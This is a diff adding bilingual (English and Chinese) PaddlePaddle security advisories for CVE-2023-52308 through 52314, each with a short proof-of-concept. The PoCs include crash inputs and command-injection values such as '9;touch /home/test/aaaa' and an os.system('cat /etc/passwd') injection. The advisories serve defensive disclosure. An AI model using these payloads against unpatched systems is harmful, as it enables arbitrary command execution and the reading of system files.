We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-017: FPE in paddle.amin
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52308
|
||||
|
||||
### 影响
|
||||
|
||||
当`x` dims不符合要求时，可能导致`paddle.amin`除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
paddle.amin(
|
||||
x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, [0, 0, 6, 3]).astype(np.float32)),
|
||||
axis=-1,
|
||||
keepdim=True
|
||||
)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-018: Heap buffer overflow in paddle.repeat_interleave
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52309
|
||||
|
||||
### Impact
|
||||
|
||||
Heap buffer overflow in `paddle.repeat_interleave` by using invalid params. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 4, 8, 3, 2, 4]).astype(np.float64))
|
||||
repeats = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [2, 1]).astype(np.int32))
|
||||
|
||||
paddle.repeat_interleave(x, repeats, axis=-2)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of CAS-IIE.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-018: Heap buffer overflow in paddle.repeat_interleave
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52309
|
||||
|
||||
### 影响
|
||||
|
||||
非法的参数可能导致`paddle.repeat_interleave`堆溢出，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 4, 8, 3, 2, 4]).astype(np.float64))
|
||||
repeats = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [2, 1]).astype(np.int32))
|
||||
|
||||
paddle.repeat_interleave(x, repeats, axis=-2)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc](https://github.com/PaddlePaddle/Paddle/commit/19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of CAS-IIE 提交。
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-019: Command injection in get_online_pass_interval
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52310
|
||||
|
||||
### Impact
|
||||
|
||||
Command injection in `get_online_pass_interval` which could lead to execute arbitrary commands. The PoC is as follows:
|
||||
|
||||
```python
|
||||
from paddle.incubate.distributed.fleet.fleet_util import FleetUtil
|
||||
|
||||
fleet_util = FleetUtil()
|
||||
online_pass_interval = fleet_util.get_online_pass_interval(
|
||||
days="{20190720..20190729}",
|
||||
hours="9;touch /home/test/aaaa",
|
||||
split_interval=5,
|
||||
split_per_pass=2,
|
||||
is_data_hourly_placed=False
|
||||
)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commits [1aae481dfd7d2055c801563e254f1484b974b68e](https://github.com/PaddlePaddle/Paddle/pull/60023/commits/1aae481dfd7d2055c801563e254f1484b974b68e), [c62d87eb91c84154af40946f17205d86f608866b](https://github.com/PaddlePaddle/Paddle/pull/60544/commits/c62d87eb91c84154af40946f17205d86f608866b) and [f8560c903c80450e37b8f304a9cd8207678f2f83](https://github.com/PaddlePaddle/Paddle/pull/60615/commits/f8560c903c80450e37b8f304a9cd8207678f2f83).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by huntr.com and leeya_bug.
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-019: Command injection in get_online_pass_interval
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52310
|
||||
|
||||
### 影响
|
||||
|
||||
`get_online_pass_interval`存在命令注入漏洞，可造成任意命令执行，PoC代码如下：
|
||||
|
||||
```python
|
||||
from paddle.incubate.distributed.fleet.fleet_util import FleetUtil
|
||||
|
||||
fleet_util = FleetUtil()
|
||||
online_pass_interval = fleet_util.get_online_pass_interval(
|
||||
days="{20190720..20190729}",
|
||||
hours="9;touch /home/test/aaaa",
|
||||
split_interval=5,
|
||||
split_per_pass=2,
|
||||
is_data_hourly_placed=False
|
||||
)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commits [1aae481dfd7d2055c801563e254f1484b974b68e](https://github.com/PaddlePaddle/Paddle/pull/60023/commits/1aae481dfd7d2055c801563e254f1484b974b68e)、[c62d87eb91c84154af40946f17205d86f608866b](https://github.com/PaddlePaddle/Paddle/pull/60544/commits/c62d87eb91c84154af40946f17205d86f608866b) 和 [f8560c903c80450e37b8f304a9cd8207678f2f83](https://github.com/PaddlePaddle/Paddle/pull/60615/commits/f8560c903c80450e37b8f304a9cd8207678f2f83) 中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 huntr.com 和 leeya_bug 提交。
|
||||
@@ -0,0 +1,28 @@
|
||||
## PDSA-2023-020: Command injection in _wget_download
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52311
|
||||
|
||||
### Impact
|
||||
|
||||
Command injection in `_wget_download` which could lead to execute arbitrary commands. The PoC is as follows:
|
||||
|
||||
```python
|
||||
from paddle import utils
|
||||
|
||||
utils.download._wget_download("aa; touch codexecution", "bb")
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [d5550d3f2f5bab48c783b4986ba1cd8e061ce542](https://github.com/PaddlePaddle/Paddle/pull/59957/commits/d5550d3f2f5bab48c783b4986ba1cd8e061ce542).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by huntr.com.
|
||||
@@ -0,0 +1,28 @@
|
||||
## PDSA-2023-020: Command injection in _wget_download
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52311
|
||||
|
||||
### 影响
|
||||
|
||||
`_wget_download`存在命令注入漏洞，可造成任意命令执行，PoC代码如下：
|
||||
|
||||
```python
|
||||
from paddle import utils
|
||||
|
||||
utils.download._wget_download("aa; touch codexecution", "bb")
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [d5550d3f2f5bab48c783b4986ba1cd8e061ce542](https://github.com/PaddlePaddle/Paddle/pull/59957/commits/d5550d3f2f5bab48c783b4986ba1cd8e061ce542)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 huntr.com 提交。
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-021: Null pointer dereference in paddle.crop
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52312
|
||||
|
||||
### Impact
|
||||
|
||||
Null pointer dereference in `paddle.crop` when tensor dims are invalid . The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(0, 10, [2, 2]).astype(np.int32))
|
||||
shape = paddle.to_tensor([-1, 0], dtype='int32')
|
||||
offsets = paddle.to_tensor([], dtype='int32')
|
||||
|
||||
out = paddle.crop(x, shape, offsets)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [c074de6911944d5d30d28cc7ce2c7099f1c87bce](https://github.com/PaddlePaddle/Paddle/pull/59967/commits/c074de6911944d5d30d28cc7ce2c7099f1c87bce).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Peng Zhou (zpbrent) from Shanghai University.
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-021: Null pointer dereference in paddle.crop
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52312
|
||||
|
||||
### 影响
|
||||
|
||||
输入张量的维度异常时，`paddle.crop`会引发空指针解引用，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(0, 10, [2, 2]).astype(np.int32))
|
||||
shape = paddle.to_tensor([-1, 0], dtype='int32')
|
||||
offsets = paddle.to_tensor([], dtype='int32')
|
||||
|
||||
out = paddle.crop(x, shape, offsets)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [c074de6911944d5d30d28cc7ce2c7099f1c87bce](https://github.com/PaddlePaddle/Paddle/pull/59967/commits/c074de6911944d5d30d28cc7ce2c7099f1c87bce)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Peng Zhou (zpbrent) from Shanghai University 提交。
|
||||
@@ -0,0 +1,30 @@
|
||||
## PDSA-2023-022: FPE in paddle.argmin and paddle.argmax
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52313
|
||||
|
||||
### Impact
|
||||
|
||||
FPE in `paddle.argmin` and `paddle.argmax` when input `x.numel()` is 0. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
|
||||
data = paddle.to_tensor([], dtype="int32")
|
||||
|
||||
paddle.argmax(data, axis=0)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794](https://github.com/PaddlePaddle/Paddle/pull/59976/commits/41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Peng Zhou (zpbrent) from Shanghai University.
|
||||
@@ -0,0 +1,30 @@
|
||||
## PDSA-2023-022: FPE in paddle.argmin and paddle.argmax
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52313
|
||||
|
||||
### 影响
|
||||
|
||||
输入`x.numel()`为0时`paddle.argmin`和`paddle.argmax`会引发除0异常，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
|
||||
data = paddle.to_tensor([], dtype="int32")
|
||||
|
||||
paddle.argmax(data, axis=0)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794](https://github.com/PaddlePaddle/Paddle/pull/59976/commits/41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Peng Zhou (zpbrent) from Shanghai University 提交。
|
||||
@@ -0,0 +1,28 @@
|
||||
## PDSA-2023-023: Command injection in convert_shape_compare
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-52314
|
||||
|
||||
### Impact
|
||||
|
||||
Command injection in `convert_shape_compare` which could lead to execute arbitrary commands. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
|
||||
paddle.jit.dy2static.convert_operators.convert_shape_compare('prefix','+ str(__import__("os").system("cat /etc/passwd")) +','1')
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [c3b6414eb313480f1417abe92d410dfe89723097](https://github.com/PaddlePaddle/Paddle/pull/60097/commits/c3b6414eb313480f1417abe92d410dfe89723097).
|
||||
The fix will be included in PaddlePaddle 2.6.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by leeya_bug.
|
||||
@@ -0,0 +1,28 @@
|
||||
## PDSA-2023-023: Command injection in convert_shape_compare
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-52314
|
||||
|
||||
### 影响
|
||||
|
||||
`convert_shape_compare`存在命令注入漏洞，可造成任意命令执行，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
|
||||
paddle.jit.dy2static.convert_operators.convert_shape_compare('prefix','+ str(__import__("os").system("cat /etc/passwd")) +','1')
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [c3b6414eb313480f1417abe92d410dfe89723097](https://github.com/PaddlePaddle/Paddle/pull/60097/commits/c3b6414eb313480f1417abe92d410dfe89723097)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.6.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 leeya_bug 提交。
|
||||
Reference in New Issue
Block a user